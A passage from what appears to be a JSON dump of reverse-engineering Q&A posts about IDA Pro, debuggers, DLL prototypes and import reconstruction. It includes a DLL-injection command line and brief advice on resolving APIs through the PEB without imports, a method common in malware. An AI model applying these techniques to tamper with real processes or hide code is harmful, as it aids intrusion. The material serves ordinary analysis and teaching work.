easy.</p>\n\n<p>I just added an option to inject to a process by process id. You can do this with:</p>\n\n<pre><code>InjectorCLIx86.exe pid:1234 HookLibraryx86.dll\n</code></pre>\n"
    },
    {
        "Id": "2092",
        "CreationDate": "2013-05-24T20:33:55.447",
        "Body": "<p>while reading the answers to <a href=\"https://reverseengineering.stackexchange.com/q/2070/245\">Can I statically link (not import) the Windows system DLLs?</a> I came up with another question. So: </p>\n\n<ol>\n<li>Is there a way to write a program that has no dependencies (nothing is statically compiled too - it has <strong>only</strong> my code) and everything is resolved during run-time assuming that <code>kernel32.dll</code> will be loaded/mapped into the process no matter what?</li>\n<li>Is my assumption about <code>kernel32.dll</code> correct?</li>\n</ol>\n\n<p>During run-time, I mean using the <code>PEB</code> structure.</p>\n",
        "Title": "Program with no dependencies",
        "Tags": "|windows|malware|development|winapi|",
        "Answer": "<p>Yes.  </p>\n\n<ol>\n<li>Find the address of kernel32 using anyone of the known tricks (PEB or any other way)  </li>\n<li>Implement a simple export section parser and find the address of <code>LoadLibrary</code> and <code>GetProcAddress</code>.  </li>\n<li>Use those to load any other API you want.</li>\n</ol>\n"
    },
    {
        "Id": "2096",
        "CreationDate": "2013-05-25T19:15:24.437",
        "Body": "<p>How could this 32-bit x86 assembly be written in C?</p>\n\n<pre><code>loc_536FB0:\nmov cl, [eax]\ncmp cl, ' '\njb short loc_536FBC\ncmp cl, ','\njnz short loc_536FBF\n\nloc_536FBC:\nmov byte ptr [eax], ' '\n\nloc_536FBF\nmov cl, [eax+1]\ninc eax\ntest cl, cl\njnz short loc_536FB0\n</code></pre>\n\n<p>I have already figured out that it is a for loop that loops 23 times before exiting.</p>\n",
        "Title": "convert this x86 ASM to C?",
        "Tags": "|assembly|x86|c|",
        "Answer": "<p>You can use <a href=\"https://github.com/radareorg/r2dec-js\" rel=\"nofollow noreferrer\">r2dec</a> plugin on <a href=\"https://rada.re\" rel=\"nofollow noreferrer\">radare2</a> with command <code>pdda</code></p>\n<pre><code>[0x08048060]&gt; pdda\n; assembly                               | /* r2dec pseudo code output */\n                                         | /* ret @ 0x8048060 */\n                                         | #include &lt;stdint.h&gt;\n                                         |  \n; (fcn) entry0 ()                        | int32_t entry0 (void) {\n                                         |     do {\n                                         |         /* [01] -r-x section size 23 named .text */\n0x08048060 mov cl, byte [eax]            |         cl = *(eax);\n0x08048062 cmp cl, 0x20                  |         \n                                         |         if (cl &gt;= 0x20) {\n0x08048065 jb 0x804806c                  |             \n0x08048067 cmp cl, 0x2c                  |             \n                                         |             if (cl != 0x2c) {\n0x0804806a jne 0x804806f                 |                 goto label_0;\n                                         |             }\n                                         |         }\n0x0804806c mov byte [eax], 0x20          |         *(eax) = 0x20;\n                                         | label_0:\n0x0804806f mov cl, byte [eax + 1]        |         cl = *((eax + 1));\n0x08048072 inc eax                       |         eax++;\n0x08048073 test cl, cl                   |         \n0x08048075 jne 0x8048060                 |         \n                                         |     } while (cl != 0);\n                                         | }\n[0x08048060]&gt; \n</code></pre>\n"
    },
    {
        "Id": "2098",
        "CreationDate": "2013-05-25T20:10:23.460",
        "Body": "<p>For example, in the following disassembly:</p>\n\n<pre><code>.text:007C6834 014                 mov     eax, [esi+4]\n.text:007C6837 014                 mov     dword ptr [esi], offset ??_7CAvatar@@6B@ ; const CAvatar::`vftable'\n</code></pre>\n\n<p>How would I be able to set the type of the esi register to a struct, so that in an ideal world the disassembly would turn into:</p>\n\n<pre><code>.text:007C6834 014                 mov     eax, [esi.field_04]\n.text:007C6837 014                 mov     dword ptr [esi.vtable], offset ??_7CAvatar@@6B@ ; const CAvatar::`vftable'\n</code></pre>\n",
        "Title": "How do you set registers as structs within a function in IDA?",
        "Tags": "|ida|disassembly|struct|",
        "Answer": "<p>Igor is right on, here are a few additional tips I have to offer. </p>\n\n<p>Make sure when declaring variables within your structure, that you are accurately accommodating for the size of the variable. For example, is it a DWORD or some other multibyte buffer (maybe a memset/memcpy can give you a clue on its size here in these cases)? </p>\n\n<p>Accurately accounting for these kinds of things is important when dealing with structures with many objects. It can help with your overall understanding of how it is used within the program, as well as further defining structure members</p>\n\n<p>Also, keep in mind you can name the fields as you normally would any other variable in IDA. To be thorough, you can also declare the field type in the structure tab, to do this, right-click the field, then select field type.</p>\n\n<p>Finally, when declaring the size of a multibyte array within a structure for example, you can actually do so in hex by just pre-pending '0x' in the array size field. Doesn't seem like much but it's a small tip that can come in handy.</p>\n\n<p>There is so much more to explore concerning structures and their use within IDA. If you are looking to learn more about this and IDA in general, then I would highly recommend Chris Eagle's IDA Pro Book. </p>\n\n<p><a href=\"http://www.idabook.com/\">http://www.idabook.com/</a></p>\n"
    },
    {
        "Id": "2119",
        "CreationDate": "2013-05-28T12:17:15.000",
        "Body": "<p>For learning (<em>and fun</em>) I have been analyzing a text editor application using IDA Pro. While looking at the disassembly, I notice many function calls are made by explicitly calling the name of the function. For example, I notice IDA translates most function calls into the following two formats.</p>\n\n<pre><code>call cs:CoCreateInstance\n</code></pre>\n\n<p>Or</p>\n\n<pre><code>call WinSqmAddToStream\n</code></pre>\n\n<p>But sometimes the format does not use a function name. The following example includes the code leading up to the line in question. The third line of code seem to be \"missing\" the function name. (The comments are my own.)</p>\n\n<pre><code>mov rcx, [rsp+128h+var_D8]    // reg CX gets the address at stack pointer+128h+var_D8 bytes \nmov r8, [rcx]                 // the address at reg CX is stored to reg r8\ncall qword ptr [r8 + 18h]     // at address rax+18h, call function defined by qword bytes \n</code></pre>\n\n<p>My questions are as follows:</p>\n\n<ol>\n<li><p>How do I make the connection between <code>call qword ptr &lt;address&gt;</code> and a function in the disassembly?</p></li>\n<li><p>I understand that IDA cannot use a function name here since it does not know the value stored at the register R8... so what causes this? Was there a certain syntax or convention used by the developer? In other words, did the developer call the function <code>WinSqmAddToStream</code> in a different manner than the function at <code>[r8+18h]</code>?</p></li>\n</ol>\n",
        "Title": "What to do when IDA cannot provide a function name?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>The trick is to find the object's constructor. Let's suppose the code looks like this:</p>\n\n<pre><code>a = new CFoo();\na-&gt;bar();\n</code></pre>\n\n<p>The compiler (I assume MSVC, 32bits) might produce something like this:</p>\n\n<pre><code>push 12h ; size_t\ncall ??2@YXYXY@Z  ; operator new(uint)\nmov [ebp+var_8], eax\nmov esi, eax\ntest esi, esi\njz loc_1\n  mov ecx, esi\n  call ??0CFoo@@AAAA@AA ; CFoo::CFoo(void)\n  mov [ebp+var_8], eax\n  jmp loc_2\nloc_1:\n  mov [ebp+var_8], 0\nloc_2:\n...\n...\n...\nmov eax, [ebp+var_8]\nmov ecx, [eax]\nmov ebx, ecx\nmov ecx, [ebp+var_8]\ncall dword ptr [ebx+08h]\n</code></pre>\n\n<p>Looking at <code>??0CFoo@@AAAA@AA</code>, a.k.a. <code>CFoo::CFoo():</code></p>\n\n<pre><code>...\nmov esi, ecx\nmov dword ptr [esi], unk_12345\n...\n</code></pre>\n\n<p><code>unk_12345</code> is <code>CFoo</code>'s virtual table offset:</p>\n\n<pre><code>unk_12345:\n  dd offset sub_23456\n  dd offset sub_34567\n  dd offset sub_45678\n  ...\n</code></pre>\n\n<p>And that <code>sub_45678</code> at <code>unk_12345+08h</code> (which would be 3rd entry, in this case) is what gets called, i.e. <code>CFoo::bar()</code>.</p>\n"
    },
    {
        "Id": "2123",
        "CreationDate": "2013-05-28T14:52:22.493",
        "Body": "<p>I'm looking for a way to view memory permissions on a specific section of memory using OllyDbg (technically I'm using Immunity but I'm assuming if it exists in Olly it'll be the same there).</p>\n\n<p>The program I'm looking at is calling VirtualProtect to make a block of code go RW->RWE, but the result looks like the protection is extending to 4 bytes before the address passed in as a parameter. I checked the MSDN and it said that there is a rounding/boundary extension with t VirtualProtect with respect to the size, but it doesn't say specifically how the extensions get propagated across pages.</p>\n\n<p>I'm confident that's what's happening but I wanted to look at the memory permissions for the specific segment to confirm. It doesn't look like the Memory map refreshes after the call to VP and I couldn't find another place to show the memory permissions. On WinDbg I can do something like !vprot so I was curious if there was something similar here.</p>\n",
        "Title": "Viewing memory permissions in Ollydbg for memory segments",
        "Tags": "|windows|ollydbg|",
        "Answer": "<p><code>ollydbg 1.10</code> automatically refreshes the memory window when protection attributes are changed if the address that is passed on to VirtualProtect lies in the first allocated page</p>\n\n<p>if subsequent page's attributes were changed using Virtualprotect ollydbg's memory window wont reflect them as it shows the complete allocated Size as one contiguous dump  </p>\n\n<p>windbg <code>!vprot</code> will show the modified protection attributes only if you traverse page by page</p>\n\n<p>in <code>ollydbg 2.01</code> memory window will show attribute changes page by page automatically</p>\n\n<p>an example</p>\n\n<pre><code>int _tmain(int argc, _TCHAR* argv[])\n{\n    printf(\"lets valloc \\n\");\n    PCHAR foo;\n    foo = (PCHAR)VirtualAlloc(0,0x1004,MEM_COMMIT,PAGE_READONLY);\n    printf(\"we valloced lets vprot\\n\");\n    DWORD oldprot;\n    if (  (VirtualProtect(foo+0x1000,1,PAGE_EXECUTE_READWRITE,&amp;oldprot) == FALSE) )\n    {\n        printf(\"our vprot failed\\n\");\n        return FALSE;\n    }\n    if (  (VirtualProtect(foo+0xfff,1,PAGE_EXECUTE_READWRITE,&amp;oldprot) == FALSE) )\n    {\n        printf(\"our vprot failed\\n\");\n        return FALSE;\n    }\n    printf(\"we vprotted fine \\n\");\n    return 0;\n}\n</code></pre>\n\n<p><strong>ollydbg 1.10 memory window Display will be same after VirtualAlloc and after first Virtualprotect</strong></p>\n\n<p><strong>display will change only after second VirtualProtect</strong></p>\n\n<pre><code>Memory map, item 19\n Address=003A0000\n Size=00002000 (8192.)\n Owner=         003A0000 (itself)\n Section=\n Type=Priv 00021002\n Access=R\n Initial access=R\n</code></pre>\n\n<p>after second Virtualprotect</p>\n\n<pre><code>Memory map, item 19\n Address=003A0000\n Size=00002000 (8192.)\n Owner=         003A0000 (itself)\n Section=\n Type=Priv 00021040\n **Access=RWE**\n Initial access=R\n</code></pre>\n\n<p>windbg will show changed attribute only if traversed page by page</p>\n\n<pre><code>0:000&gt; g\nModLoad: 5cb70000 5cb96000   C:\\WINDOWS\\system32\\ShimEng.dll\nBreakpoint 0 hit\n&gt;    8: {\n0:000&gt; p\n&gt;    9:     printf(\"lets valloc \\n\");\n0:000&gt; p\n&gt;   11:     foo = (PCHAR)VirtualAlloc(0,0x1004,MEM_COMMIT,PAGE_READONLY);\n0:000&gt; p\n&gt;   12:     printf(\"we valloced lets vprot\\n\");\n0:000&gt; ?? foo\nchar * 0x003a0000\n \"\"\n0:000&gt; !vprot @@c++(foo)\nBaseAddress:       003a0000\nAllocationBase:    003a0000\nAllocationProtect: 00000002  PAGE_READONLY\nRegionSize:        00002000\nState:             00001000  MEM_COMMIT\nProtect:           00000002  PAGE_READONLY\nType:              00020000  MEM_PRIVATE\n0:000&gt; p\n&gt;   14:     if (  (VirtualProtect(foo+0x1000,1,PAGE_EXECUTE_READWRITE,&amp;oldprot) == FALSE) )\n0:000&gt; p\n&gt;   19:     if (  (VirtualProtect(foo+0xfff,1,PAGE_EXECUTE_READWRITE,&amp;oldprot) == FALSE) )\n0:000&gt; !vprot @@c++(foo)\nBaseAddress:       003a0000\nAllocationBase:    003a0000\nAllocationProtect: 00000002  PAGE_READONLY\nRegionSize:        00001000\nState:             00001000  MEM_COMMIT\nProtect:           00000002  PAGE_READONLY\nType:              00020000  MEM_PRIVATE\n\n0:000&gt; !vprot (@@c++(foo)+1000)\nBaseAddress:       003a1000\nAllocationBase:    003a0000\nAllocationProtect: 00000002  PAGE_READONLY\nRegionSize:        00001000\nState:             00001000  MEM_COMMIT\nProtect:           00000040  PAGE_EXECUTE_READWRITE\nType:              00020000  MEM_PRIVATE\n</code></pre>\n\n<p>ollydbg 2.01 will show  any changes instantly note memory map item no and address </p>\n\n<pre><code>Memory map, item 19\n  Address = 003A0000\n  Size = 00002000 (8192.)\n  Owner =                 003A0000 (self)\n  Section =\n  Contains =\n  Type = Priv 00021002\n  Access = R\n  Initial access = R\n  Mapped as =\n</code></pre>\n\n<p>after first Virtualprotect</p>\n\n<pre><code>Memory map, item 20\n  Address = 003A1000\n  Size = 00001000 (4096.)\n  Owner =                 003A0000\n  Section =\n  Contains =\n  Type = Priv 00021040\n  Access = RWE\n  Initial access = R\n  Mapped as =\n</code></pre>\n"
    },
    {
        "Id": "2127",
        "CreationDate": "2013-05-28T16:36:23.640",
        "Body": "<p>I am reverse engineering some code from which IDA has generated the following disassembly. These specific lines of code are just for illustrative purposes. Notice that the third line does not call a specifc function by its name but rather by its address.</p>\n\n<pre><code>mov rcx, [rsp+128h+var_D8]    // reg CX gets the address at stack pointer+128h+var_D8 bytes \nmov r8, [rcx]                 // the address at reg CX is stored to reg r8\ncall qword ptr [r8 + 18h]     // at address rax+18h, call function defined by qword bytes\n</code></pre>\n\n<p>I'm interested in determining which function is being called. What mechanisms, tools, tricks, etc. can I use to determine which function in the dissassembly a call <code>qword ptr &lt;address&gt;</code> is referring to? I'm up for trying other disassembler programs.</p>\n\n<p>From an answer to my <a href=\"https://reverseengineering.stackexchange.com/questions/2119/what-to-do-when-ida-cannot-provide-a-function-name\">previous question</a>, this is known as an \"indirect call\" or (perhaps a \"virtual function call\"). The disassembly has many of these, so how do I resolve them? In addition, IDA has identified hundreds of functions. How do I go about figuring out which one was actually being called during any given indirect call (or virtual call)? </p>\n",
        "Title": "How to identify function calls in IDA Pro's disassembly?",
        "Tags": "|ida|disassembly|virtual-functions|",
        "Answer": "<p>The easiest way to find out the function in question would probably be by dynamic analysis. You can easily do this by placing a breakpoint on that instruction in a debugger and examining the registers. </p>\n\n<p>A more general solution would probably involve some scripting to record all calls and add that information to the IDA database. <a href=\"https://github.com/deresz/funcap\">Funcap</a> plugin does something similar if not exactly what you are looking for:</p>\n\n<blockquote>\n  <p>This script records function calls (and returns) across an executable using IDA debugger API, along with all the arguments passed. It dumps the info to a text file, and also inserts it into IDA's inline comments. This way, static analysis that usually follows the behavioral runtime analysis when analyzing malware, can be directly fed with runtime info such as decrypted strings returned in function's arguments.</p>\n</blockquote>\n"
    },
    {
        "Id": "2130",
        "CreationDate": "2013-05-28T19:21:45.277",
        "Body": "<p>In the IDA view I see (<code>glb_SomeVar</code> is a byte array):</p>\n\n<pre><code>cmp al, glb_SomeVar+22h\n</code></pre>\n\n<p>But when I hit <kbd>x</kbd> to find the cross references of glb_SomeVar, I only find two other matches in the same function:</p>\n\n<pre><code>cmp al, glb_SomeVar+0Ah\ncmp al, glb_SomeVar+0Bh\n</code></pre>\n\n<p>Is there a way to fix this, like making IDA re-analyze the selected function or even the whole code? I guess at other places, there are cross references missing too.</p>\n",
        "Title": "IDA is not recognizing cross references",
        "Tags": "|ida|",
        "Answer": "<p>I think the default in IDA 6.8 is a Cross reference depth of 16. I increased this first to 32 and then to 1024 and then to 65535 (because why not). None of this led to my xref working as desired so I must not understand something.</p>\n\n<p>I'm analyzing an ARM ELF shared object file. The function I'm looking at is called by a function referenced by an offset in the .init_array segment (not sure if that's relevant). The offset I want to see all references of is:</p>\n\n<pre><code>.bss:00424778 ; void *dword_424778\n.bss:00424778 dword_424778    % 4\n</code></pre>\n\n<p>It was originally identified as unk_424778 but I pressed <kbd>Y</kbd> and set the type was \"void *\".</p>\n\n<p>Hex Rays shows this assignment:</p>\n\n<pre><code>    dword_424778 = &amp;_sF;\n</code></pre>\n\n<p>Using HexRaysCodeXplorer I press <kbd>J</kbd> to jump back to disassembly from Hex Rays. It put me on line 0026D69C:</p>\n\n<pre><code>...\n.text:0026D668                 LDR             R5, [R4,R2] ; unk_424758\n.text:0026D66C                 ADD             R0, R5, #0x1C\n.text:0026D670                 STMIA           R5, {R3,R7}\n.text:0026D674                 STR             R7, [R5,#8]\n.text:0026D678                 STR             R7, [R5,#0xC]\n.text:0026D67C                 STR             R7, [R5,#0x10]\n.text:0026D680                 STR             R7, [R5,#0x14]\n.text:0026D684                 STR             R7, [R5,#0x18]\n.text:0026D688                 BL              sub_26F42C\n.text:0026D68C                 LDR             R2, =(off_374A30 - 0x374C20)\n.text:0026D690                 LDR             R3, [SP,#0x38+var_34]\n.text:0026D694                 STR             R9, [R5]\n.text:0026D698                 STR             R8, [R5,#0x24]\n.text:0026D69C                 STR             R11, [R5,#0x20]\n...\n</code></pre>\n\n<p>I don't know ARM very well but I read that the STMIA R5, {R3,R7} will result in unpredictable behavior due to the reglist ({R3,R7}) starting with a lower-number register than Rn (R5).</p>\n\n<p>Could the problem be related to dword_424778 being in the .bss section?</p>\n"
    },
    {
        "Id": "2133",
        "CreationDate": "2013-05-29T16:04:24.183",
        "Body": "<p>The title says most of it. Say I have a Windows PE (x86, 32bit) binary (just so we have case to discuss), the imports list will usually only show the imports found in the import directory. The attributes it shows are address of the function, name and library from which it got imported as shown in this screenshot snippet:</p>\n\n<p><img src=\"https://i.stack.imgur.com/KYZWX.png\" alt=\"Screenshot of import tab in IDA Pro\"></p>\n\n<p>Is there a way for me through scripting (IDC or Python, I don't care too much), to add imports of my own to the list and, for example, have them point (the address attribute) to code such as this (highlighted line)?:</p>\n\n<p><img src=\"https://i.stack.imgur.com/4lUw2.png\" alt=\"Dynamically imported function in IDA Pro\"></p>\n\n<p>I.e. the line would in such case look like:</p>\n\n<pre><code>0DCBA987     GetLongPathNameW       kernel32.dll\n</code></pre>\n\n<p>or even just</p>\n\n<pre><code>0DCBA987     GetLongPathNameW       ???\n</code></pre>\n\n<p>assuming the above <code>call GetProcAddress</code> would be at address <code>0DCBA987</code>.</p>\n\n<p>The advantage to me would be readability. But it would also yield a more comprehensive list of imports (and consequently xrefs) as some functions are frequently imported dynamically due to their availability in the various Windows versions.</p>\n\n<p>It should be quite trivial given a certain binary to figure out all xrefs to candidate functions that retrieve the imported function's address (such as <code>GetProcAddress</code>) and then walk their calls to find which function was imported. The DLL part may be more complicated to find out, but it could be left empty or entered manually. But I didn't find a function that would allow me to add imports. Is there a way?</p>\n",
        "Title": "In IDA, is there a way to add a reference to a dynamically imported function into the Imports tab?",
        "Tags": "|ida|idapython|import-reconstruction|ida-plugin|",
        "Answer": "<p>If you can not add something to the imports viewer you can write your own.\nHere is the simple example (it is slightly modified example referenced at <a href=\"http://www.hexblog.com/?p=229\" rel=\"noreferrer\">this hexblog entry</a> and located <a href=\"http://hexblog.com/ida_pro/files/ImportExportViewer.py\" rel=\"noreferrer\">here</a> with added double-click functionality, added columns, removed exports and fixed bug for a case of unknown origin of the imported function). See the function BuildImports for creating additional imports (manual_func1 and manual_func2)</p>\n\n<pre><code>import idaapi\nimport idautils\nfrom idaapi import PluginForm\nfrom PySide import QtGui, QtCore\n\nclass ImpExpForm_t(PluginForm):\n\n    def imports_names_cb(self, ea, name, ord):\n        self.items.append((ea, '' if not name else name, ord))\n        # True -&gt; Continue enumeration\n        return True\n\n    def BuildImports(self):\n        tree = {}\n        nimps = idaapi.get_import_module_qty()\n\n        for i in xrange(0, nimps):\n            name = idaapi.get_import_module_name(i)\n            if not name:\n                name = \"unknown\"\n            # Create a list for imported names\n            self.items = []\n\n            # Enum imported entries in this module\n            idaapi.enum_import_names(i, self.imports_names_cb)\n\n            if name not in tree:\n                tree[name] = []\n            tree[name].extend(self.items)\n        tree[\"manually_added\"] = [(0x01, \"manual_func1\", 3), (0x02, \"manual_func2\",4)]\n\n        return tree\n\n    def PopulateTree(self):\n        # Clear previous items\n        self.tree.clear()\n\n        # Build imports\n        root = QtGui.QTreeWidgetItem(self.tree)\n        root.setText(0, \"Imports\")\n\n        for dll_name, imp_entries in self.BuildImports().items():\n            imp_dll = QtGui.QTreeWidgetItem(root)\n            imp_dll.setText(0, dll_name)\n\n            for imp_ea, imp_name, imp_ord in imp_entries:\n                item = QtGui.QTreeWidgetItem(imp_dll)\n                item.setText(0, \"%s\" % imp_name)\n                item.setText(1, \"0x%08x\" % imp_ea)\n                item.setText(2, \"0x%08x\" % imp_ord)\n\n    def dblclick(self, item):\n        try:\n            idaapi.jumpto(int(item.text(1).encode(\"ascii\", \"ignore\"), 16))\n        except:\n            print \"Can not jump\"\n\n\n    def OnCreate(self, form):\n        \"\"\"\n        Called when the plugin form is created\n        \"\"\"\n        # Get parent widget\n        self.parent = self.FormToPySideWidget(form)\n\n        # Create tree control\n        self.tree = QtGui.QTreeWidget()\n        self.tree.setColumnCount(4)\n        self.tree.setHeaderLabels((\"Names\",\"Address\", \"Ordinal\", \"Source\"))\n        self.tree.itemDoubleClicked.connect(self.dblclick)\n        self.tree.setColumnWidth(0, 100)\n\n        # Create layout\n        layout = QtGui.QVBoxLayout()\n        layout.addWidget(self.tree)\n\n        self.PopulateTree()\n        # Populate PluginForm\n        self.parent.setLayout(layout)\n\n\n    def OnClose(self, form):\n        \"\"\"\n        Called when the plugin form is closed\n        \"\"\"\n        global ImpExpForm\n        del ImpExpForm\n        print \"Closed\"\n\n\n    def Show(self):\n        \"\"\"Creates the form is not created or focuses it if it was\"\"\"\n        return PluginForm.Show(self,\n                               \"Imports / Exports viewer\",\n                               options = PluginForm.FORM_PERSIST)\n\n# --------------------------------------------------------------------------\ndef main():\n    global ImpExpForm\n\n    try:\n        ImpExpForm\n    except:\n        ImpExpForm = ImpExpForm_t()\n\n    ImpExpForm.Show()\n\n# --------------------------------------------------------------------------\nmain()\n</code></pre>\n"
    },
    {
        "Id": "2134",
        "CreationDate": "2013-05-29T21:00:14.810",
        "Body": "<p>I have an unknown .dll from another program which I want to work with. With <a href=\"http://www.nirsoft.net/utils/dll_export_viewer.html\">DLL Export Viewer</a> I was able to find the exported functions.</p>\n\n<p><img src=\"https://i.stack.imgur.com/qIDYL.png\" alt=\"enter image description here\"></p>\n\n<p>But to call them I need the information about the parameters and the return type. </p>\n\n<ul>\n<li>Is there an easy way to identify them in the disassembly?</li>\n<li>Do tools exist which can extract those prototypes, or help me in a way?</li>\n</ul>\n",
        "Title": "Get the function prototypes from an unknown .dll",
        "Tags": "|windows|dll|",
        "Answer": "<p><strong>Note:</strong> I am assuming 32bit x86 on Windows, your question unfortunately doesn't state for certain. But since it's Windows and you don't explicitly mention x64 this was the sanest assumption I could make.</p>\n\n<p>First off, try to search for the function names with a search engine. Don't just settle for a single search engine. Failing that, inspect whatever came in the package with the DLL. Are there import LIBs included? If so, use these to provide clues (may or may not work).</p>\n\n<h2>Otherwise ...</h2>\n\n<p>Most disassemblers (read the tag wiki <a href=\"/questions/tagged/tools\" class=\"post-tag\" title=\"show questions tagged &#39;tools&#39;\" rel=\"tag\">tools</a>) will readily show you exported functions. So <em>locating</em> them won't be a problem at all. They will also usually be shown with their exported names.</p>\n\n<p>From the output your screenshot shows, it looks like the names aren't <a href=\"https://en.wikipedia.org/wiki/Name_mangling\" rel=\"noreferrer\">mangled/decorated</a>. This suggests - but is <em>not</em> conclusive <em>proof</em> - that the functions use the <code>stdcall</code> <a href=\"https://en.wikipedia.org/wiki/Calling_convention\" rel=\"noreferrer\">calling convention</a> (better yet read <a href=\"http://code.google.com/p/corkami/wiki/CallingConventions\" rel=\"noreferrer\">this one by Ange</a>, one of the moderators pro temp here). Now I don't know how much you know, but since you attempt RCE you are probably well-versed in calling conventions. If not let's sum it up like this: calling conventions govern how (order, alignment) and by what means (registers, stack) parameters get passed to functions. We'll get back to this in a moment. If you are on x64 Windows and the DLL is 64bit as well, you can rely on the Microsoft x64 calling convention (read <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"noreferrer\">this article</a>).</p>\n\n<h2>Now there are two main routes you can take</h2>\n\n<h3>Route 1 - analyze a program using the DLL</h3>\n\n<p>If you happen to have a program that uses the DLL in question, you can use a debugger or disassembler to find out both the calling convention and the number of parameters passed. Simply look out for <code>call</code> instructions referencing the exported DLL functions and find <code>mov</code> or <code>push</code> instructions in front. If you happen to come across <code>cdecl</code> functions, the stack pointer (<code>esp</code>) will be adjusted again after the <code>call</code>. It's possible this is the case (see below for an example), but as unlikely as the various compiler-specific <code>fastcall</code> variants, since <code>stdcall</code> provides the broadest possible compatibility.</p>\n\n<p>The methods outlined below in the second approach will also explain some of the concepts introduced here in greater detail.</p>\n\n<h3>Route 2 - analyzing the DLL itself</h3>\n\n<p>If you happen to have IDA and you analyze a 32bit DLL, chances are that IDA already identified the number of parameters and the calling convention using its heuristics. Let me demonstrate (using <code>sqlite3.dll</code>). In the Exports tab find a function you're interested in and double-click it. This will take you to the address where the function starts (here <code>sqlite3_open</code>).</p>\n\n<p><img src=\"https://i.stack.imgur.com/jdRup.png\" alt=\"enter image description here\"></p>\n\n<p>As you can see IDA readily found that the function takes two arguments (you can look at <a href=\"http://www.sqlite.org/c3ref/open.html\" rel=\"noreferrer\">the SQLite3 docs</a> to verify this finding). However, there is another thing here. After the <code>call sqlite3_open_v2_0</code> we can see that the stack pointer is adjusted by 10h (=16) thereby cleaning up four parameters. Looking at the <code>push</code> instructions before the <code>call</code> we can see that indeed four 32bit (i.e. DWORD) parameters are passed via the stack.\nSince there is no further cleanup on part of the function <code>sqlite3_open</code> itself, it is now clear that it is likely following the C calling convention (<code>cdecl</code>) as well. Again we can verify the finding (a benefit you won't have) by looking at the documentation. And indeed since no explicit calling convention is given, you end up defaulting to <code>cdecl</code>. The single <code>retn</code> (some disassemblers will show <code>ret</code>), meaning <code>return</code>, also doesn't clean up the stack, since otherwise it would look like <code>retn 8</code> or similar.</p>\n\n<p>This is a rather small function, but even with the circumstantial information we are able to deduce a lot about it.</p>\n\n<p>Now for something <code>stdcall</code>, a case you are more likely to encounter as mentioned before. And why not go for something famous, like, say, <code>kernel32.dll</code> from Windows 7? Again, I'll take a trivial function as it is better to showcase the points. Note that I told IDA not to make use of the debug symbols from Microsoft and to skip using FLIRT signatures. This means some of the good stuff that kicks in by default is being suppressed to show how to identify what's going on. Look:</p>\n\n<p><img src=\"https://i.stack.imgur.com/nZ9Di.png\" alt=\"enter image description here\"></p>\n\n<p>The green lines are uninteresting for our case, but you'll encounter them a lot. It is commonly found in several compilers and <code>ebp</code> is commonly referred to as \"frame pointer\" (frame as in stack frame), basically an offset on which to base access to the stack variables. You can see a typical use in the line <code>push [ebp+arg_0]</code>. IDA figured this out and shows us <code>Attributes: bp-based frame</code>.</p>\n\n<p>We see no adjustment of the stack pointer after <code>call sub_77E29B80</code>, so it looks like that (internal) function follows the <code>stdcall</code> calling convention as well. However, the <code>ret 4</code> hints that the callee (i.e. the function <code>AddAtomA</code> in this case) is meant to clean up the stack, which means we can exclude <code>cdecl</code> as a possibility. It's four bytes because that is the \"natural\" size on a 32bit system. You can also see from my inline comments, that parameters are passed on the stack in reverse. But you should know such things anyway before engaging in RCE, otherwise read up in the above linked articles and in some books such as <a href=\"https://reverseengineering.stackexchange.com/a/1755/245\">those here</a>.</p>\n\n<p>In this particular case we could dare to make another assumption, but it could bite us. Say this was Microsoft's <code>fastcall</code> convention (keep in mind that they vary by compiler), then the registers <code>ecx</code> and <code>edx</code> would be used, followed by arguments passed on the stack. This means that in our case we might want to assume that this can't be the case, because those registers aren't saved before calling <code>sub_77E29B80</code>. This is a good argument for machine-generated code such as this one. However, were this hand-optimized code, the programmer could rely on the knowledge about the calling convention and skip saving/restoring the registers before/after the <code>call</code>. Still, in this case hand-optimized code would be less likely (or unlikely) to make use of the frame pointer. It's three instructions that aren't strictly needed to do the job. So arguing like this - even without prior knowledge - we could now set out to write a little program using the prototype:</p>\n\n<pre><code>int __stdcall AddAtomA(void* unknown)\n</code></pre>\n\n<p>and use a debugger to see <em>what</em> gets passed. It's generally a tedious process, but a lot of the process - especially finding the number of parameters - can likely be scripted. Also, once you have a single function figured out, it's likely that the calling convention would be the same (exceptions exist, of course) throughout the DLL. Just make sure you analyze a function taking at least one parameter, otherwise you won't be able to distinguish between <code>stdcall</code> and <code>cdecl</code> from the circumstantial data.</p>\n\n<h3>Route X - the ugly one</h3>\n\n<p>You can also simply use <code>dumpbin</code> or a similar tool to script the creation of a test program. This test program would then call the function, check the stack pointer before and after and could thereby distinguish between <code>stdcall</code> and <code>cdecl</code>. You could also play tricks like passing 20 arguments on the stack (if you want to assume <code>stdcall</code> for the experiment) and see how much of that your callee cleaned up. There are loads of possibilities to simply try instead of analyze. But you'll get better (more reliable) results with the first two approaches.</p>\n\n<p>If you need to build an import LIB because you don't want to use <code>GetProcAddress</code>, see <a href=\"https://stackoverflow.com/a/15117763/476371\">this answer by me over on StackOverflow</a>. It shows how to build an import LIB  just from the DLL.</p>\n\n<h2>Conclusion</h2>\n\n<p>The methods won't differ too much with other disassemblers, I just needed to show things in a way you can reproduce them, that's why I went with IDA. The freeware edition of IDA will likely be sufficient (32bit, PE, x86) - keep in mind it's not permissible for commercial use, though.</p>\n\n<p>Screenshots taken from IDA 6.4.</p>\n"
    },
    {
        "Id": "2142",
        "CreationDate": "2013-05-30T22:15:57.203",
        "Body": "<p>When reading about unpacking, I sometimes see an \"import reconstruction\" step. What is this and why is it necessary?</p>\n",
        "Title": "What is import reconstruction and why is it necessary?",
        "Tags": "|unpacking|import-reconstruction|",
        "Answer": "<p>In a typical, non-packed Windows PE executable, the header contains metadata that describes to the operating system which symbols from other libraries that the executable depends upon.  The operating system's loader is responsible for loading those libraries into memory (if they are not already loaded), and for placing the addresses of those imported symbols into structures (whose locations are also specified by the metadata) within the executable's memory image.  Packers, on the other hand, often destroy this metadata, and instead perform the resolution stage (which would normally be performed by the loader) itself.  The goal of unpacking is to remove the protections from the binary, including the missing import information.  So the analyst (or unpacking tool) must determine the collection of imports that the packer loads for the executable, and re-create metadata within the unpacked executable's image that will cause the operating system to properly load the imports as usual.  </p>\n\n<p>Typically in these situations, the analyst will determine where within the executable's memory image the import information resides.  In particular, the analyst will usually locate the <code>IMAGE_THUNK_DATA</code> arrays, which are <code>NULL</code>-terminated arrays that contain the addresses of imported symbols.  Then, the analyst will run a tool that basically 